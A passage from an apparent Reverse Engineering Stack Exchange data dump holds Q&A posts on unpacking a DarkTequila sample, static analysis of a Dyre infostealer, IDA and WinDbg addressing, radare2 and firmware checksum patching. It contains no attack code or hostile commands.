stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, when I step-over the PUSHAD and land on the MOV instruction, if I follow the ESP register through the dump, the first four hex dump bytes are zeroed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HENHk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HENHk.png&quot; alt=&quot;Zeroed bytes.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this said, I still set the HWBP on access just to see what it would lead me to, and it brings me to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LZLmv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LZLmv.png&quot; alt=&quot;After hardware breakpoint&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is where I get stumped. If I try and step through to the JUMP instruction, it will only go to the conditional jump (JNZ) before it falls back to the PUSH instruction. I can manually click my way to the JMP instruction and run the program again, which leads me to the CMP ESP, EAX. If I run the program one more time, it brings me to 0139BC0E which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eMgWO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eMgWO.png&quot; alt=&quot;After CMP instruction&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a few kernel32 function calls that you &lt;em&gt;might&lt;/em&gt; see at the beginning of a program, but honestly I am not sure if I am where I need to be for this unpacking. I doubt it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, I could use some help.&lt;/p&gt;&#xA;" OwnerUserId="26653" LastActivityDate="2019-01-05T17:58:01.023" Title="Manually unpacking DarkTequila, stumped. Can anyone help?" Tags="|ollydbg|malware|unpacking|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20078" PostTypeId="2" ParentId="20005" CreationDate="2018-12-07T22:15:43.680" Score="1" Body="&lt;p&gt;If the program runs, it should be possible to dump the module from memory, after it was reconstructed to original state while loading it to memory.&lt;/p&gt;&#xA;" OwnerUserId="4192" LastActivityDate="2018-12-07T22:15:43.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20079" PostTypeId="2" ParentId="19880" CreationDate="2018-12-07T22:34:00.960" Score="2" Body="&lt;p&gt;Reconstructing a Unity project from binaries is often not possible because/when:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the project was reconstructed in different version of Unity&lt;/li&gt;&#xA;&lt;li&gt;the reconstructed project uses different backend&lt;/li&gt;&#xA;&lt;li&gt;there were postprocesses applied that changed assets and scripts in a way that is not compatible with Unity&lt;/li&gt;&#xA;&lt;li&gt;bigger Unity projects sometimes use customized version of Editor or the engine&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also the reversing tools are not bug free.&lt;/p&gt;&#xA;" OwnerUserId="4192" LastActivityDate="2018-12-07T22:34:00.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20082" PostTypeId="2" ParentId="20076" CreationDate="2018-12-08T04:10:55.590" Score="0" Body="&lt;p&gt;So to your first problem, the last two elements of the stack are 0 because &lt;code&gt;PUSHAD&lt;/code&gt; pushes the registers in the following order on the stack. &lt;strong&gt;EAX, ECX, EDX, EBX, EBP, ESP, EBP, ESI, EDI&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since &lt;code&gt;ESI&lt;/code&gt; and &lt;code&gt;EDI&lt;/code&gt; are both 0 in your case, the two values on top of the stack are also 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, UPX is one of the easier ones to unpack, because it was not designed for security but compression. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the way to go here, is to find the tail jump. This one can be recognized by the following zeroes and the jump to a far address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't get your problem exactly, because you found the tail jump already. See at address &lt;code&gt;001026B1&lt;/code&gt; the jump to &lt;code&gt;0002A99E&lt;/code&gt;. Consequently, your program starts at  &lt;code&gt;0002A99E&lt;/code&gt; and this is your OEP. You can then remove the hardware breakpoint, set a breakpoint at the jump, continue running until it stops at the JMP and then step with F7, to debug the unpacked program. &lt;/p&gt;&#xA;" OwnerUserId="25793" LastEditorUserId="25793" LastEditDate="2018-12-09T12:21:57.927" LastActivityDate="2018-12-09T12:21:57.927" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="20083" PostTypeId="2" ParentId="20069" CreationDate="2018-12-08T05:05:11.327" Score="0" Body="&lt;p&gt;Here are the steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Set breakpoint. Run the local debugger with &lt;kbd&gt;F9&lt;/kbd&gt;. Open Debugger dropdown menu form menu bar and choose &quot;Take memory snapshot&quot;. Here is the screenshot:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pDPZG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pDPZG.png&quot; alt=&quot;Take_Memory_Snapshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Double click on the variables that you want to know (here the &lt;code&gt;RSA*&lt;/code&gt; pointer). IDA will take you to the stack view (aka. IDA View-RIP). Do not move the cursor otherwise you will get different value. Press &lt;kbd&gt;N&lt;/kbd&gt; to name the variable in that stack view. &quot;Rename address&quot; window will pop-up. Here is the screenshot:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JdOnz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JdOnz.png&quot; alt=&quot;Enter_Variable_Name&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;After naming the variable in that stack view, press &lt;kbd&gt;Y&lt;/kbd&gt; to add the data type i.e. structure type. For this case it will be &lt;code&gt;RSA&lt;/code&gt;, not the pointer because all stack variables placed linearly. Here is the screenshot:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ae3y8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ae3y8.png&quot; alt=&quot;Enter_Data_type&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can see all the struct members value.&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-12-08T05:05:11.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20084" PostTypeId="2" ParentId="20069" CreationDate="2018-12-08T06:47:44.373" Score="1" Body="&lt;p&gt;My knowledge of the IDAPython API isn't the most complete, but what I would do is&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Read the source (or look in IDA) to find the location (byte offsets) of &lt;code&gt;d&lt;/code&gt; in &lt;code&gt;rsa_st&lt;/code&gt; and &lt;code&gt;dmax&lt;/code&gt; in &lt;code&gt;bignum_st&lt;/code&gt;. This is easy since the members of the structures above &lt;code&gt;d&lt;/code&gt; and &lt;code&gt;dmax&lt;/code&gt; are pointers or int types.&lt;/li&gt;&#xA;&lt;li&gt;Inspect the disassembly just before the call and determine the location of &lt;code&gt;v3&lt;/code&gt; -&#xA;from the pseudocode it appears to be stored in the stack. If you are lucky, pressing tab while your cursor is on &lt;code&gt;v3&lt;/code&gt; will take you to some mov operation in disassembly.&lt;/li&gt;&#xA;&lt;li&gt;When the breakpoint is hit, use a combination of &lt;code&gt;idc.get_reg_value&lt;/code&gt; and &lt;code&gt;idc.get_bytes&lt;/code&gt; commands (see &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/162.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/162.shtml&lt;/a&gt;), using the result from step 2 as a starting point.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24225" LastEditorUserId="245" LastEditDate="2023-01-18T10:17:03.853" LastActivityDate="2023-01-18T10:17:03.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20085" PostTypeId="1" CreationDate="2018-12-08T08:55:46.397" Score="1" ViewCount="294" Body="&lt;p&gt;Let's say I have a kernel driver abc.sys. I do not have the symbols for abc.sys. In IDA, I find a function sub_1400AAAAA and I want to find this in WinDbg. I attach WinDbg (kd) and then type lm. I find that abc.sys starts at 0xFFFF... and so to go to sub_1400AAAAA I first add the start address and 0xAAAAA and then do &quot;db [the result of the addition]&quot;. However, when I compare the bytes shown in WinDbg with those of IDA, they are different. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Even when subtracting -0x1000 on top of the addition, it does not land in the right place.&lt;/p&gt;&#xA;" OwnerUserId="20951" LastEditorUserId="20951" LastEditDate="2018-12-08T09:16:34.380" LastActivityDate="2019-10-16T01:12:05.540" Title="Find address of kernel function" Tags="|windows|kernel-mode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20086" PostTypeId="1" CreationDate="2018-12-08T09:05:28.093" Score="0" ViewCount="860" Body="&lt;p&gt;I'm trying to patch strings in my firmware with a hex editor but I keep getting a checksum error when I go to re-flash the modded firmware onto my device. The device is a Roland gr-55 guitar synthesizer and here is a link to the firmware. &lt;a href=&quot;https://www.roland.com/global/support/by_product/gr-55/updates_drivers/f64a41ce-c897-4fd5-94d7-71ec8ff6f036/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Firmware download&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I run binwalk on the gr55.bin file and it tells me it's compressed with lha compression. So when I decompress it, it gives me appli.bin file. From there I open appli.bin with a hex editor and change the names of a couple strings. This is where I'm lost, I orignally just tried to re-compress the appli.bin file with lha compression and flash it to my device but nothing happens. I've tried using Firmware-mod-kit but it says my file is unsupported. I changed a few bytes in the compressed gr55.bin file and tried to flash it to see what happens and my device displayed the words checksum error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tutorials I have watched where they patch binaries they disassemble the firmware, find where the checksum function is and disable it. I don't have the cpu of my device yet so I'm unable to disassemble the firmware. All the forms and tutorials I found, where they rebuild firmware images seem to show examples of routers which have squashfs file systems and seems different from what I'm dealing with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I don't know how to properly rebuild my firmware image so when I go to re-flash I don't get a checksum error. Can somebody please help or point me in the right direction. &lt;/p&gt;&#xA;" OwnerUserId="25860" LastEditorUserId="25860" LastEditDate="2018-12-08T21:54:05.267" LastActivityDate="2018-12-09T02:02:48.727" Title="Checksum error when flashing modded firmware on embedded device" Tags="|firmware|embedded|hex|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20088" PostTypeId="2" ParentId="20085" CreationDate="2018-12-08T15:11:56.260" Score="1" Body="&lt;p&gt;Type &lt;code&gt;lm m abc.sys&lt;/code&gt; in windbg and find out what is the loaded address. Let's say windbg shows  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;abc.sys  0x97370000   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now go to IDA and rebase the loaded image in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I recall correctly, menu segments-&gt;rebase use the address you found in windbg.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After rebasing you don't have to add subtract or grope around,  both will have same address.&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-01-18T22:54:32.950" LastActivityDate="2019-01-18T22:54:32.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20090" PostTypeId="1" AcceptedAnswerId="20091" CreationDate="2018-12-08T18:28:02.697" Score="2" ViewCount="582" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How to get the memory-mapping (e.g. library) that contains a given address in Radare?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've done a search in Radare for a specific string (&lt;code&gt;search.in = dbg.maps&lt;/code&gt;), which resulted in an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to know which memory-mapping the address corresponds to, e.g. is it libc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I obtain the memory-mapping whose memory region contains the given address?&lt;/p&gt;&#xA;" OwnerUserId="25753" LastActivityDate="2018-12-08T19:12:29.803" Title="How to get the memory-mapping (e.g. library) that contains a given address in Radare?" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20091" PostTypeId="2" ParentId="20090" CreationDate="2018-12-08T19:12:29.803" Score="2" Body="&lt;p&gt;With the command &lt;code&gt;dm.&lt;/code&gt; you can show the map name of the current address.&#xA;To change the current address to your desired one add &lt;code&gt;@ address&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[0x7f8622478090]&amp;gt; dm. @ 0x00007f8622477000&#xA;0x00007f8622477000 - 0x00007f8622478000 * usr     4K s r-- /usr/lib/ld-2.28.so /usr/lib/ld-2.28.so&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can combine your search directly with the dm. command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dm. @@/ STRING&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2772" LastActivityDate="2018-12-08T19:12:29.803" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="20092" PostTypeId="1" CreationDate="2018-12-08T21:29:31.523" Score="0" ViewCount="148" Body="&lt;p&gt;I'm a newbie to malware analysis and reverse engineering in general. I got hold of a &lt;code&gt;Dyre&lt;/code&gt; malware sample from &lt;code&gt;theZoo&lt;/code&gt; on GitHub and I've been trying to analyze it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've put up my analysis report &lt;a href=&quot;https://mega.nz/#!1k8zmapJ!QYD4ImbgT8nPMUhbhdmM9c9iWqsQLoZynmq1STUhCws&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. I looked up Symantec's report on the same malware family &lt;a href=&quot;https://www.symantec.com/security-center/writeup-print/2014-061713-0826-99&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. They've some additional information on the remote IP addresses that the malware connects to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When conducting dynamic analysis, I could see on Wireshark that the malware is trying to get the resource: &lt;code&gt;/cho1017/W512600.52818BB853DEE114E367C21952160412/5/pub...&lt;/code&gt;. My VM was not connected to the Internet, so I don't know what that resource actually is. I'm not sure if that can be simulated with &lt;code&gt;INetSim&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can static analysis help to identify the IP addresses mentioned in Symantec's report? I've been trying static analysis but I'm lost. Although I know what static analysis entails, I'm having a hard time understanding how to proceed from the &lt;code&gt;start&lt;/code&gt; area of the code and look for network related code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any one has experience with this malware family, any help would be appreciated. Also, if possible I'd like to know the quality of the analysis report that I've put up. I'd like to make sure that I'm writing malware analysis reports the right way.&lt;/p&gt;&#xA;" OwnerUserId="26664" LastActivityDate="2018-12-09T01:23:40.050" Title="Reverse engineering Infostealer.Dyre" Tags="|malware|static-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20094" PostTypeId="2" ParentId="20092" CreationDate="2018-12-09T01:23:40.050" Score="1" Body="&lt;p&gt;Static malware analysis can be rather straightforward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first step is finding the core code component. Malware usually unpacks itself, creates new processes, writes shellcode to processes and so on, so the first task is finding the final payload to analyze.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is roughly what unpacking entails. It's also where a lot of public blogposts stop but in reality, nobody cares about the packer used for malware and I'm always confused why people write about the 5 outer layers which will most likely be different 2 hours later when the new build is distributed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you located the main component (likely some injected thread/code block in explorer.exe or something) you load it into IDA. Sometimes it's a full PE file, sometimes you just find a &quot;shellcode&quot; block, doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next two steps are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Getting the imports&lt;/li&gt;&#xA;&lt;li&gt;Getting the strings&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Malware almost never uses static imports via the IAT so even if you have a full PE file, odds are you don't actually see what APIs the malware uses. So then you will have to find how and where the malware resolves its important dynamically. This usually happens around the entry point so look around there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the same goes for strings. It's very likely that the malware either decrypts all strings at runtime, or at least some crucial ones. For that reason, looking around for code that looks like string decryption routines or for data that could be encrypted strings is a good idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is where you can usually start actually reversing the malware. Strings very often lead to interesting code (if you find a bunch of HTTP-related strings or a user agent, you can just check where they are used and are likely in the communication code), or you jump to relevant APIs right away if they are obvious (if you find InternetConnect or HttpSendRequest or connect/recv/send for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, resolving imports and strings is pretty much always the first step and the stepping stone for further targeted analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is pretty general but pretty much every static malware analysis goes through these steps. The rest is just pure reversing, finding functions, understanding them, finding who uses them and so on, like a crossword puzzle.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-12-09T01:23:40.050" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20095" PostTypeId="2" ParentId="20086" CreationDate="2018-12-09T02:02:48.727" Score="1" Body="&lt;p&gt;This seems to be a difficult target. Disclaimer: I have no idea about embedded/real-world device reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I'd approach the task is disassembling the firmware, find the checksum code, understand it, find where it looks for the checksum, then patch the firmware and calculate the proper checksum with the gained inside and patch it in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you check the &quot;appli.bin&quot; binary, you'll find the word &quot;check sum&quot;, so the code is probably in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is where it gets difficult. In order to reverse engineer anything, we need to know what CPU is inside the GR55.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found this excellent sheet: &lt;a href=&quot;https://www.joness.com/gr300/service/GR-55_SERVICE_NOTES.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joness.com/gr300/service/GR-55_SERVICE_NOTES.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems the main CPU is the R8A02021ABG, some Renesas CPU or something. IDA Pro has support for some Renesas CPUs but even with that knowledge and some more googling (&lt;a href=&quot;http://forum.pianoworld.com/ubbthreads.php/topics/2385759/roland-bk-9-internals.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://forum.pianoworld.com/ubbthreads.php/topics/2385759/roland-bk-9-internals.html&lt;/a&gt; - the Roland BK9 seems to use the same CPU), I couldn't get IDA to disassemble more than 3-4 instructions anywhere inside appli.bin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible I just don't know what I'm doing but my expectation was that if I found the right CPU, telling IDA to disassemble code somewhere should at least produce a bunch of consecutive instructions even if I don't know anything about the appli.bin layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other page said IDA doesn't have processor support for the specific series used here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be out of luck if that's the case because the only option then is guessing the right checksum algorithhm and where.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-12-09T02:02:48.727" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20096" PostTypeId="2" ParentId="20074" CreationDate="2018-12-09T02:14:28.730" Score="1" Body="&lt;p&gt;Maybe going the other way might be a workaround/solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enumerate all names with &lt;code&gt;idautils.Names()&lt;/code&gt; which returns a list of tuples &lt;code&gt;(ea, name)&lt;/code&gt;. Then you just filter for the function address and have all possible names for that location I assume.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-12-09T02:14:28.730" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20099" PostTypeId="1" CreationDate="2018-12-09T11:50:56.830" Score="1" ViewCount="806" Body="&lt;p&gt;I'm new to the IDA 7.0 SDK, trying to automate creating structs to represent a C++ (MSVC) class in IDA with a plugin. For this, I create 3 structs as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 SomeClass struc&#xA;00000000 __vftable dd ?  ; SomeClass_vtbl*&#xA;00000004 __members SomeClass_members ?&#xA;00000084 SomeClass ends&#xA;00000084&#xA;00000000 ; ---------------------------------------------------------------------------&#xA;00000000&#xA;00000000 SomeClass_vtbl struc&#xA;00000000 ; ... several function pointers ....&#xA;00000048 SomeClass_vtbl ends&#xA;00000048&#xA;00000000 ; ---------------------------------------------------------------------------&#xA;00000000&#xA;00000000 SomeClass_members struc&#xA;00000000 ; ... some members ....&#xA;00000020 SomeClass_members ends&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Creating the structs works fine, but I have trouble defining the 2 fields in &lt;code&gt;SomeClass&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the pointer to &lt;code&gt;SomeClass_vtbl&lt;/code&gt; for the first field, and&lt;/li&gt;&#xA;&lt;li&gt;referencing &lt;code&gt;SomeClass_members&lt;/code&gt; for the second field.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Not finding a sample in the SDK on how to define structs detailedly programmatically (is there one?), I checked the raw documentation and found &lt;code&gt;add_struct_member&lt;/code&gt; to be doing what I want to do, using it as follows:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;bytes.hpp&amp;gt;&#xA;// ... other typical IDA SDK includes ...&#xA;&#xA;bool idaapi run(size_t arg)&#xA;{&#xA;    qstring className = &quot;SomeClass&quot;;&#xA;&#xA;    // Create the structs.&#xA;    tid_t classType = add_struc(BADADDR, className.c_str());&#xA;    tid_t vftableType = add_struc(BADADDR, (className + &quot;_vtbl&quot;).c_str());&#xA;    tid_t membersType = add_struc(BADADDR, (className + &quot;_members&quot;).c_str());&#xA;    struc_t* classStruct = get_struc(classType);&#xA;    struc_t* vftableStruct = get_struc(vftableType);&#xA;    struc_t* membersStruct = get_struc(membersType);&#xA;&#xA;    // Create vftable field.&#xA;    opinfo_t vftableField{ vftableStruct-&amp;gt;id };&#xA;    add_struc_member(classStruct, &quot;__vftable&quot;, 0, FF_STRUCT, &amp;amp;vftableField, 4);&#xA;&#xA;    // Create members field.&#xA;    opinfo_t membersField{ membersStruct-&amp;gt;id };&#xA;    add_struc_member(classStruct, &quot;__members&quot;, 4, FF_STRUCT, &amp;amp;membersField, 4);&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if setting the types of those struct fields like this is the right way to go:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;FF_*&lt;/code&gt; #defines from &lt;code&gt;bytes.hpp&lt;/code&gt; are not found by my compiler, even though I included that header right at the start in the only main.cpp file in my project (and they appear in IntelliSense...).&lt;/li&gt;&#xA;&lt;li&gt;Even if I could use those #defines now, I did not see how that would allow me to differentiate between a pointer to a struct or simply referencing a struct.&lt;/li&gt;&#xA;&lt;li&gt;After all, I'm not even sure if using the &lt;code&gt;FF_*&lt;/code&gt; #defines for the &lt;code&gt;flag&lt;/code&gt; parameter of &lt;code&gt;add_struc_member&lt;/code&gt; is correct; the documentation only states &quot;type + representation bits&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, dumbly asked, ignoring my probably faulty tries above, what are the methods to set known types of struct fields?&lt;/p&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2018-12-10T07:32:55.490" LastActivityDate="2018-12-10T07:32:55.490" Title="IDA SDK: How to add a struct (pointer) field to a struct?" Tags="|ida|idapro-sdk|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20100" PostTypeId="1" AcceptedAnswerId="20124" CreationDate="2018-12-09T14:36:02.290" Score="7" ViewCount="1683" Body="&lt;p&gt;In windows platform, an application usually references its IAT(Import Access Table) to get the address of the APIs it wants, then call it. Then some mechanisms are done as demonstrated &lt;a href=&quot;http://www.osronline.com/article.cfm?id=257&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt; nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I cannot find out how API calls work on Android NDK. I think there's no IAT in an ELF file. Could anybody tell me how API calls on android works, in assembly level?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;E.g.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When I call &lt;code&gt;ALooper_acquire(&amp;amp;mylooper)&lt;/code&gt; then it assembles as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; mov r4, 0x2000  ; address of mylooper&#xA; bl 0x7777fff0      ;address of ALooper_acauire&#xA; ... after ALooper_acquire()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;then in &lt;code&gt;0x7777fff0&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Blah blah happens to call system api, ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23870" LastEditorUserId="23870" LastEditDate="2018-12-18T12:12:41.567" LastActivityDate="2018-12-18T12:12:41.567" Title="How does API call work on Android (NDK)?" Tags="|linux|android|arm|system-call|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20102" PostTypeId="1" CreationDate="2018-12-10T01:15:50.670" Score="3" ViewCount="127" Body="&lt;p&gt;I came across some unusual strings in some embedded SH2A code I'm analyzing....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;11 53 54 00 53 55 4E 44 41 59 00 4F 46 00 2E 4F 56 45 4D 42 45 52&#xA; .  S  T  .  S  U  N  D  A  Y  .  O  F  .  .  O  V  E  M  B  E  R&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which I realized is just &quot;1st sunday of November&quot; if you subtract 0x20 from each byte, effectively removing the control characters from ASCII. But they're still using a full 8 bits per character (not that subtracting the control characters is enough to drop a bit anyway) so I'm left wondering why they would do it and whether it's something homegrown or just obscure.&lt;/p&gt;&#xA;" OwnerUserId="24523" LastActivityDate="2019-05-09T07:03:15.660" Title="Is there a standard character encoding that is ASCII minus control characters?" Tags="|encodings|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20103" PostTypeId="2" ParentId="19857" CreationDate="2018-12-10T03:54:14.137" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/google/bloaty&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bloaty McBloatFace&lt;/a&gt; is a compiled binary size profiler that can provide a breakdown of section sizes as you have there as well as a number of other ways to break things out.&lt;/p&gt;&#xA;" OwnerUserId="24523" LastActivityDate="2018-12-10T03:54:14.137" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20104" PostTypeId="2" ParentId="20102" CreationDate="2018-12-10T05:21:19.303" Score="1" Body="&lt;p&gt;the implementations of tolower() , toupper() normally tend to use the addition or subtraction of 0x20  maybe it is some kind of homegrown brew of these functions &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a msvcrt toLower() pseudo c code from radare2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x78b0ccd4]&amp;gt; pdc&#xA;function sym.MSVCR100.dll__tolower () {&#xA;    //  1 basic blocks&#xA;&#xA;    loc_0x78b0ccd4:&#xA;&#xA;       edi = edi&#xA;       push ebp&#xA;       ebp = esp&#xA;       eax = dword [arg_8h]     //[0x8:4]=-1 ; 8&#xA;       eax += 0x20&#xA;                                //ebp ; ebp&#xA;       return&#xA;(break)&#xA;&#xA;}&#xA;[0x78b0ccd4]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-12-10T05:21:19.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
